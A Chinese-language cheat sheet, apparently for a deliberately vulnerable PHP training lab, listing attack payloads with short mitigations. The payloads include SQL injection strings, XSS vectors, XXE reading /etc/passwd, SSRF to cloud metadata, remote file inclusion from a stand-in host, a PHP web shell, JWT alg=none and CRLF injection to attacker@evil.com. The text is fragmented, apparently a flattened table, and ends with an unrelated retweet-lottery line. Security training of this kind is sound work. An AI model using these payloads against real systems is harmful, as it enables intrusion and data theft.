“仅用于安全学习。所有示例均为演示漏洞,切勿在生产环境或未经授权环境使用。
admin/admin123(MD5 存储),guest/guest。id=1 OR 1=1 可返回所有用户信息。q=admin' OR '1'='1 绕过用户名精确匹配。admin,密码 "' OR '1'='1",拼接语句命中。reflected.php?q=<script>alert(1)</script> 即弹窗。stored.php 留言处提交 <img src=x onerror=alert(1)>,再次加载列表触发。dom.php#<svg onload=alert(1)>,由 JS 将 hash 注入到 innerHTML 触发。htmlspecialchars;对富文本采用白名单过滤;前端避免直接 innerHTML;开启 CSP。?email=attacker@evil.com。<img src="http://target/modules/csrf/change_email.php?email=evil@evil.com"> 即可跨站触发。shell.php.jpg。page=../../data/notes.txt 绕过路径,读取任意文件(演示目录内)。allow_url_include=On 可尝试 page=http://yourhost/payload.txt。file=../core/init.php 可读取源码。..、仅允许固定文件名或ID。host=127.0.0.1 & calc 注入系统命令。url=http://127.0.0.1/ 或云环境 http://169.254.169.254/(如可访问)。O:4:"Evil":1:{s:3:"cmd";s:8:"calc.exe";} 触发 __destruct。phar:// 路径使用 getimagesize() 等函数,PHAR 元数据内置对象可自动反序列化。evil.phar,访问 path=phar:///绝对路径/evil.phar/test.jpg。to=https://evil.com/ 直接跳转,易钓鱼。from 字段可注入 CRLF:noreply@example.com\r\nBCC: attacker@evil.commd5 + rand 生成令牌,容易预测。random_bytes/openssl_random_pseudo_bytes 等强随机,令牌长度足够。?admin=1 即显示敏感信息,完全依赖参数。session_regenerate_id(true),攻击者可预设会话。HttpOnly 与 SameSite Cookie。<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>file:///C:/Windows/win.iniLIBXML_NONET 并关闭 DTD;改用安全解析器。echo system('whoami'); 或 phpinfo(); 即执行。eval/assert,采用白名单逻辑与安全 API。alg=none 的 JWT:头 {"alg":"none","typ":"JWT"},载荷可设置 {"user":"admin"},签名留空。none 算法。?id=2 即可读取他人信息。Origin 并启用 Allow-Credentials,可在恶意站点跨域读取含敏感字段的响应。Allow-Credentials=true 时不得使用 *,避免反射来源。price=999&price=1 覆盖价格;role=user&role=admin 提升角色。../../webshell.php,内容 <?php system($_GET['cmd']); ?>,之后访问 webshell.php?cmd=whoami。HTTP_HOST,可通过伪造 Host 头注入恶意域名并钓鱼。X-Frame-Options 或 CSP frame-ancestors,可被第三方页面以透明 iframe 覆盖按钮诱导点击。evil.html,点击“立即领取”实际触发目标页敏感按钮。X-Frame-Options: DENY/SAMEORIGIN 或 CSP frame-ancestors 'none' / <可信域>;对关键操作加入二次确认。== 比较时,"0e..." 字符串被视作科学计数法的数字 0,导致与其它 0e... 比较相等;md5('QNKCDZO') 等“魔法哈希”可绕过。0e999999999 或密码 QNKCDZO,观察验证结果。=== 严格比较;对于哈希比较使用固定时长的常量时间比较;避免依赖弱哈希。extract($_GET) 导入参数到当前作用域,EXTR_OVERWRITE 默认覆盖同名变量,导致后端关键变量(如 is_admin、role)被用户输入替换。?is_admin=1&role=admin,观察权限从普通用户变为管理员。extract(),使用白名单映射赋值;统一读取请求参数后做类型与范围校验;关键变量不可被外部覆盖。//user[name='$q']),可通过闭合与追加路径语法选择更敏感的节点或绕过条件。q=alice'] | //user[role='admin,使查询包含管理员节点,从而读取 secret。^(a+)+$ 对输入 aaaa...b(一长串 a 后接 b)会显著耗时。php://filter/convert.base64-encode/resource= 可读取并展示源码,泄露敏感逻辑与凭据。index.php 或 core/init.php 源码,观察到配置信息与实现细节。php://、phar://、data:// 等包装器;关闭错误信息与目录索引。(|(uid=$u)(mail=$u@example.com)),通过特殊语法扩展检索范围,获取更敏感条目(如管理员)。u=*)(|(role=admin))(,模拟结果包含管理员记录。* ( ) | & 等特殊符;使用参数化接口/统一转义;结果集再按权限过滤。promo、User-Agent),导致动态内容被缓存并提供给其他用户(投毒)。page 写入不同 promo,观察同一缓存槽位被污染,其他用户看到恶意内容。Vary);对动态页面禁用缓存或细粒度缓存;设置正确 Content-Type 与路由,避免静态化欺骗。../),绕过校验与路径限制,造成路径穿越读取。file=..%252F..%252Fcore%252Finit.php 经过两次解码变成 ../../core/init.php 并被拼接读取。realpath)与前缀校验;白名单文件名/扩展与目录限制。
转发推文即可参与抽奖
-END-